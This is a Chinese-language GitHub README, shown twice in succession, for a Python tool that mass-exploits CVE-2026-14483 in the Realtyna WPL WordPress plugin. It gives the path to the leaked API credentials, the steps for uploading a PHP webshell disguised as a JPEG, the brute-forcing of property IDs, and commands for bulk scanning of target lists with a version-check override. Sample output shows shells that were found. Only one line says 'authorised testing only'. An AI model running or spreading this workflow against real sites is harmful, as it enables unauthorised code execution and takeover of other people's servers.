MadExploits/CVE-2026-14483
GitHub: MadExploits/CVE-2026-14483
针对 WordPress Realtyna WPL 插件未授权 RCE 漏洞(CVE-2026-14483)的 Python 批量利用工具,通过凭证泄露实现 webshell 上传。
Stars: 0 | Forks: 1
# CVE-2026-14483 — WPL Real Estate RCE
针对 **Realtyna WPL Real Estate Listing** WordPress 插件的未授权远程代码执行。
| 字段 | 详情 |
|---|---|
| **CVE** | CVE-2026-14483 |
| **受影响版本** | `5.2.0` |
| **插件** | `real-estate-listing-realtyna-wpl` |
| **影响** | 未授权 PHP webshell 上传 (RCE) |
| **脚本** | `CVE-2026-14483.py` |
| **作者** | MADEXPLOITS |
## 图片
## 漏洞概述
1. **凭证泄露** — 默认的 `api_key` / `api_secret` 通过公开的 SQL 迁移转储暴露。
2. **未授权上传** — 这些凭证用于对 WPL I/O API (`set_property`) 进行身份验证,允许将精心构造的 PHP 文件作为属性图像上传。
3. **Webshell 发现** — 上传的 shell 位于 `wp-content/uploads/WPL/{property_id}/` 目录下。
## 环境要求
```
pip install requests colorama
```
- Python 3.8+
- 目标的网络访问权限
## 用法
### 目标列表
创建一个文本文件,每行一个 base URL:
```
http://wplab.test
https://example.com
```
### 基本运行
```
python CVE-2026-14483.py --targets targets.txt
```
成功利用的 shell URL 将被追加到 `result.txt`(或 `--output` 指定的文件)中。
### 完整选项
```
python CVE-2026-14483.py \
--targets targets.txt \
--output result.txt \
--user-id 1 \
--max-id 1000 \
--timeout 30 \
--threads 5 \
--debug \
--force
```
| 参数 | 默认值 | 描述 |
|---|---|---|
| `--targets` | *(必填)* | 包含 base URL 的文件(每行一个) |
| `--output` | `result.txt` | 用于追加发现的 shell URL 的文件 |
| `--user-id` | `1` | 拥有新属性的 WordPress / WPL 用户 ID |
| `--payload` | 内置上传 shell | 自定义 PHP payload 字符串 |
| `--max-id` | `1000` | 定位 shell 时暴力破解的最大属性 ID |
| `--timeout` | `30` | HTTP 超时时间(秒) |
| `--threads` | `5` | 并发工作线程数 |
| `--debug` | off | 详细的 debug 日志记录 |
| `--force` | off | 即使版本 ≠ 5.2.0 或无法检测版本也强制执行漏洞利用 |
## 漏洞利用流程
```
Target URL
│
▼
Detect WPL version (readme.txt / wpl.php)
│ skip unless == 5.2.0 (or --force)
▼
Fetch api_key + api_secret from:
/wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql
│
▼
POST set_property via WPL I/O API
(upload image_0x89MADEXPLOITS.php as image/jpeg)
│
▼
Brute-force property ID 1..max-id
/wp-content/uploads/WPL/{id}/0x89MADEXPLOITS.php
│
▼
Write shell URL → output file
```
默认 shell 标记:`MADEXPLOITS`
默认远程文件名:`0x89MADEXPLOITS.php`
## 示例
**单个实验目标(当前工作区):**
```
echo http://wplab.test > targets.txt
python CVE-2026-14483.py --targets targets.txt --debug
```
**具有更高并发性的批量扫描:**
```
python CVE-2026-14483.py --targets targets.txt --threads 20 --output shells.txt
```
**版本检查失败时强制执行漏洞利用:**
```
python CVE-2026-14483.py --targets targets.txt --force
```
## 输出
```
[+] Shell found: http://target/wp-content/uploads/WPL/32/0x89MADEXPLOITS.php
[*] Progress: 1/1 | Found: 1
[+] Done. Found 1 shell(s). Check 'result.txt' for URLs.
```
`result.txt` 每行包含一个 shell URL。
## 注意事项
- 版本信息从插件 `readme.txt` 中的 `Stable tag:` / `Version:` 读取,如果找不到则回退到从 `wpl.php` 读取。
- 如果上传后未找到 shell,请提高 `--max-id`。
- 仅用于授权的安全测试 / 本地实验环境。
## 漏洞概述
1. **凭证泄露** — 默认的 `api_key` / `api_secret` 通过公开的 SQL 迁移转储暴露。
2. **未授权上传** — 这些凭证用于对 WPL I/O API (`set_property`) 进行身份验证,允许将精心构造的 PHP 文件作为属性图像上传。
3. **Webshell 发现** — 上传的 shell 位于 `wp-content/uploads/WPL/{property_id}/` 目录下。
## 环境要求
```
pip install requests colorama
```
- Python 3.8+
- 目标的网络访问权限
## 用法
### 目标列表
创建一个文本文件,每行一个 base URL:
```
http://wplab.test
https://example.com
```
### 基本运行
```
python CVE-2026-14483.py --targets targets.txt
```
成功利用的 shell URL 将被追加到 `result.txt`(或 `--output` 指定的文件)中。
### 完整选项
```
python CVE-2026-14483.py \
--targets targets.txt \
--output result.txt \
--user-id 1 \
--max-id 1000 \
--timeout 30 \
--threads 5 \
--debug \
--force
```
| 参数 | 默认值 | 描述 |
|---|---|---|
| `--targets` | *(必填)* | 包含 base URL 的文件(每行一个) |
| `--output` | `result.txt` | 用于追加发现的 shell URL 的文件 |
| `--user-id` | `1` | 拥有新属性的 WordPress / WPL 用户 ID |
| `--payload` | 内置上传 shell | 自定义 PHP payload 字符串 |
| `--max-id` | `1000` | 定位 shell 时暴力破解的最大属性 ID |
| `--timeout` | `30` | HTTP 超时时间(秒) |
| `--threads` | `5` | 并发工作线程数 |
| `--debug` | off | 详细的 debug 日志记录 |
| `--force` | off | 即使版本 ≠ 5.2.0 或无法检测版本也强制执行漏洞利用 |
## 漏洞利用流程
```
Target URL
│
▼
Detect WPL version (readme.txt / wpl.php)
│ skip unless == 5.2.0 (or --force)
▼
Fetch api_key + api_secret from:
/wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql
│
▼
POST set_property via WPL I/O API
(upload image_0x89MADEXPLOITS.php as image/jpeg)
│
▼
Brute-force property ID 1..max-id
/wp-content/uploads/WPL/{id}/0x89MADEXPLOITS.php
│
▼
Write shell URL → output file
```
默认 shell 标记:`MADEXPLOITS`
默认远程文件名:`0x89MADEXPLOITS.php`
## 示例
**单个实验目标(当前工作区):**
```
echo http://wplab.test > targets.txt
python CVE-2026-14483.py --targets targets.txt --debug
```
**具有更高并发性的批量扫描:**
```
python CVE-2026-14483.py --targets targets.txt --threads 20 --output shells.txt
```
**版本检查失败时强制执行漏洞利用:**
```
python CVE-2026-14483.py --targets targets.txt --force
```
## 输出
```
[+] Shell found: http://target/wp-content/uploads/WPL/32/0x89MADEXPLOITS.php
[*] Progress: 1/1 | Found: 1
[+] Done. Found 1 shell(s). Check 'result.txt' for URLs.
```
`result.txt` 每行包含一个 shell URL。
## 注意事项
- 版本信息从插件 `readme.txt` 中的 `Stable tag:` / `Version:` 读取,如果找不到则回退到从 `wpl.php` 读取。
- 如果上传后未找到 shell,请提高 `--max-id`。
- 仅用于授权的安全测试 / 本地实验环境。标签:CISA项目, CVE, 安全, 数字签名, 编程工具, 超时处理, 远程代码执行, 逆向工具